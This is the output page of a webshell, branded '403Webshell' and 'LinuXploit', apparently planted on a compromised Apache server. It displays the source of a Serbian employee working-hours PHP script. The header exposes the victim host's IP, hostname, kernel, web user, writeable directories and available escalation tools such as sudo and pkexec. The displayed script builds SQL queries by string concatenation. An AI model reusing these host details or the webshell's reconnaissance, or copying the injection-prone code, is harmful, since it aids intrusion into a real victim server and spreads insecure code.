403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/radvre/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/radvre/rad.php
<!DOCTYPE html>
<!--
******************************
 Project: Radno vreme, 2023.
 Version: PHP 5-7
 Author : M. Kukic
 Note   :
 Link: http://net-nas/w3/radvre_v7/last.php

******************************
-->
<html>
<head>
<style>
table, th, td {
    border: 1px solid gray;
	border-collapse: collapse;
}
th, td {
    padding: 4px;
    text-align: center;
}

</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<meta http-equiv="refresh" content="20">
<title>Radno vreme</title>
</head>
<body>
<div style="width:720px; word-wrap:break-word;">

<?php
//
//Get
$tip = $_GET["tip"];
//
include "config.php";
include "hed.php";
//
if ($tip==""){
 $tip=0;
}
$tz=0;
$lz=0;
if ($tip=="0"){
 //tekuca godina	
 $i_start = $lz*3600+$tz*3600+strtotime('first day of January', time());
 $i_end = $lz*3600+$tz*3600+strtotime('last day of December', time());
}
if ($tip=="1"){
 //tekuci mesec	
 $i_start = $lz*3600+$tz*3600+strtotime('first day of this month 00:00:00', time());
 $i_end = $lz*3600+$tz*3600+strtotime('last day of this month 00:00:00', time());
}
if ($tip=="2"){
 //prethodni mesec
 $i_start = $lz*3600+$tz*3600+strtotime('first day of previous month 00:00:00', time());
 $i_end = $lz*3600+$tz*3600+strtotime('last day of previous month 00:00:00', time());
}
if ($tip=="3"){
 //prethodni + tekuci mesec
 $i_start = $lz*3600+$tz*3600+strtotime('first day of previous month 00:00:00', time());
 $i_end = $lz*3600+$tz*3600+strtotime('last day of this month 00:00:00', time());
}
if ($tip=="4"){
 //tekuca nedelja
 $i_start = $lz*3600+$tz*3600+strtotime('last Sunday', time());
 $i_end = $lz*3600+$tz*3600+strtotime('next Sunday', time());
}
//
echo "<h2 style='font-family:arial'>VREME ZAPOSLENIH</h2>";
//
//echo $i_start." - ".$i_end."<br>";
echo date("d/m/Y h:i:s A T",$i_start)." - ".date("d/m/Y h:i:s A T",$i_end)."<br><br>";
//
		$sql = "SELECT * FROM user ORDER BY dispname";
		//
	if ($db==5){ // MySQL ver 5 
		$result_user = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$nuz_user = mysql_num_rows($result_user);		
		$row_user = mysql_fetch_array($result_user);

	}else{	//  MySQL ver 7 
		$result_user = mysqli_query($dbh,$sql) or die (mysqli_error($dbh));
		$nuz_user = mysqli_num_rows($result_user);		
		$row_user = mysqli_fetch_array($result_user);		
	}	

for ($j = 1; $j<($nuz_user); $j++) {	

			echo "<table style='background-color:#F0F8FF; width:720px; margin:0 auto;'>";
			echo "<tr>";
			echo "<th>LBr.</th>";
			echo "<th>Disp-Name</th>";
			echo "<th>In-Out</th>";
			echo "<th>Vreme</th>";
			echo "</tr>";

	if ($db==5){  // MySQL ver 5 
		$row_user = mysql_fetch_array($result_user);
	}else{        //  MySQL ver 7 
		$row_user = mysqli_fetch_array($result_user);
	}	
		$dn=$row_user['dispname'];
		$fn=$row_user['fullname'];
		
		$sql = "SELECT * FROM logdog WHERE dispname='".$dn."' ORDER BY dattim ASC";
	if ($db==5){ // MySQL ver 5 
		$result_log = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$nuz_log = mysql_num_rows($result_log);
	}else{      //  MySQL ver 7 
		$result_log = mysqli_query($dbh, $sql) or die (mysqli_error($dbh));
		$nuz_log = mysqli_num_rows($result_log);	
	}	

	$sm=0.000000;
	$i=0;
		
for ($i = 1; $i<($nuz_log+1); $i++) {		

	if ($db==5){  // MySQL ver 5 
		$row_log = mysql_fetch_array($result_log);
	}else{       //  MySQL ver 7 
		$row_log = mysqli_fetch_array($result_log);
	}		
				$ul=$row_log['in_out'];
				$dt=$row_log['dattim'];
				$vreme=date("d/m/Y h:i:s A",$dt);
				$dt=(int)$dt;
//				
    if (($dt>$i_start)AND($dt<$i_end)){	
				if ($ul=="in"){
    			   $sm=$sm-$dt;
				}
				if ($ul=="out"){
     			   $sm=$sm+$dt;
				}
				echo "<tr>";
				//echo "<td>".$i."</td>";
				echo "<td>".$row_log['id']."</td>";
				echo "<td>".$dn."</td>";
				$ul=$row_log['in_out'];
				echo "<td>".$ul."</td>";
				echo "<td>".$vreme."</td>";
				echo "</tr>";
	}	
}
		echo "</table>";
		echo "<br>";
		if (($sm < 0)or($sm > 2592000)){
     	  echo "<b>".$dn." - ".$fn." / Sati: (?)";
		}else{
		  echo "<b>".$dn." - ".$fn." / Sati: ".round($sm/3600,2)."</b>";
		}
        echo "<br><br><br>";
}	

include "close_db.php";
?>
<hr>
<img src="img/b_white-2.png">
<a href="last.php"><img src="img/r_ret.png" width="" height="48"></a>

<img src="img/b_white-2.png">
<a href="rad.php?tip=0"><img src="img/a_0.png" width="" height="48"></a>
<img src="img/b_white-2.png">
<a href="rad.php?tip=1"><img src="img/a_1.png" width="" height="48"></a>
<img src="img/b_white-2.png">
<a href="rad.php?tip=2"><img src="img/a_2.png" width="" height="48"></a>
<img src="img/b_white-2.png">
<a href="rad.php?tip=3"><img src="img/a_3.png" width="" height="48"></a>
<img src="img/b_white-2.png">
<a href="rad.php?tip=4"><img src="img/a_4.png" width="" height="48"></a>

<img src="img/b_white-2.png">
<a href="lista.php?tip=1"><img src="img/r_dw.png" width="" height="48"></a>

<img src="img/b_white-2.png">
<a href="last.php?tip=1"><img src="img/r_up.png" width="" height="48"></a>

<img src="img/b_white-2.png">
<a href="help.php"><img src="img/r_hlp.png" width="" height="48"></a>

</div>
<?php include "fut.php";?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit